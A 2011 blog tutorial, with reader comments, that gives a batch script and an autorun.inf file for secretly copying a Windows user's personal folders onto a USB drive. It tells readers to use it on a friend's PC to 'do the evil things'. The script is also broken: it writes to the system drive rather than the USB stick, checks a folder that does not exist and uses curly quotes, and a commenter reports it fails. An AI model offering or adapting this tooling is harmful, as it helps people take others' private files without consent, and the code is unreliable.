Sunday 19 June 2011

Steal Files from Windows 7/Vista to USB Drive




In this Tutorial i'll show you, how to copy files from a Windows 7/Vista computer to your USB flash drive.


You can do this, just by creating a Batch file and autorun.inf file.
Let me tell you the basic things what will happen.


When you plug in in your Pen drive, system will look up for autorun.inf (incase if autorun is not disabled for your drive from the system).

Then we’ll input some command in autorun.inf in such a way that it will load the batch file that does the magic of copying all the files from your PC. In this demonstration I am copying only the files and folders in My Documents.


Here goes the batch code:

@echo off
:CHECK
if not exist “%homedrive%\Copied_files” md “%homedrive%\Copied_files”
if exist “%systemdrive%\files” goto COPIER7
goto ERROR
:COPIER7
if not exist “%homedrive%\Copied_files\%computername%” md “%homedrive%\Copied_files\%computername%”
if not exist “%homedrive%\Copied_files\%computername%\VIDEOS” md “%homedrive%\Copied_files\%computername%\VIDEOS”
if not exist “%homedrive%\Copied_files\%computername%\PICTURES” md “%homedrive%\Copied_files\%computername%\PICTURES”
if not exist “%homedrive%\Copied_files\%computername%\MUSIC” md “%homedrive%\Copied_files\%computername%\MUSIC”
if not exist “%homedrive%\Copied_files\%computername%\DOWNLOADS” md “%homedrive%\Copied_files\%computername%\DOWNLOADS”
copy /y “%userprofile%\Documents\*.*” “%homedrive%\Copied_files\%computername%”
copy /y “%userprofile%\Videos” “%homedrive%\Copied_files\%computername%\VIDEOS”
copy /y “%userprofile%\Music” “%homedrive%\Copied_files\%computername%\MUSIC”
copy /y “%userprofile%\Pictures” “%homedrive%\Copied_files\%computername%\PICTURES”
copy /y “%userprofile%\Downloads” “%homedrive%\Copied_files\%computername%\DOWNLOADS”
MSG %username% “DONE!”
exit
:ERROR
exit


What it actually does is in first case ,CHECK, it checks if your removable storage have folder named, Copied_files or not. If it doesn’t have then it creates one by using MD (Make Directory) command.

Again it checks if you have files folder then it will assume that you are using windows Vista/7. Other wise it will return an error and exits.

Now I’ve defined another two cases after the first case CHECK, that is COPIER7 case and ERROR case.

Case COPIER7 will execute when the program recognizes it is Windows Vista/7, where the real copying work goes on.

Case ERROR will execute when the Documents and Settings doesn’t exists in your system root.

This is just a simple use of Batch programming. Copy the above code and paste it in notepad and save it as Filename.bat.


Now let’s create a file that will load it automatically.


[autorun]
Open=Filename.bat
Action=File Copier


The above code goes in autorun.inf file. Open notepad and copy it and paste it and save as autorun.inf.

      


Copy the two files, autorun.inf and Filename.bat in your flash drive.


Then plug in your device to your friends PC and do the evil things.


Where is the flaw?
It shows Command prompt window and process of copying (thank god your noob never think that it actually copying).



Hope this tutorial was helpful.


Kindly post your comment and reviews....!!


Thanks,
Parag

4 comments:

  1. i personally find these things interesting and knowledgeable.
    so what should i post except "GO ON n ON n ON".
    best of luck

    ReplyDelete
  2. @ Haleem

    Hey thanks buddy....!!
    Parag

    ReplyDelete
  3. Sorry Folks not working on windows 7 try some thing other :@

    ReplyDelete
  4. I want to copy files from my all drives...how can i do it or will u just tell me the code.plz...plz.. plz..!!!
    here is my email id : abhijitkamble47@gmail.com

    ReplyDelete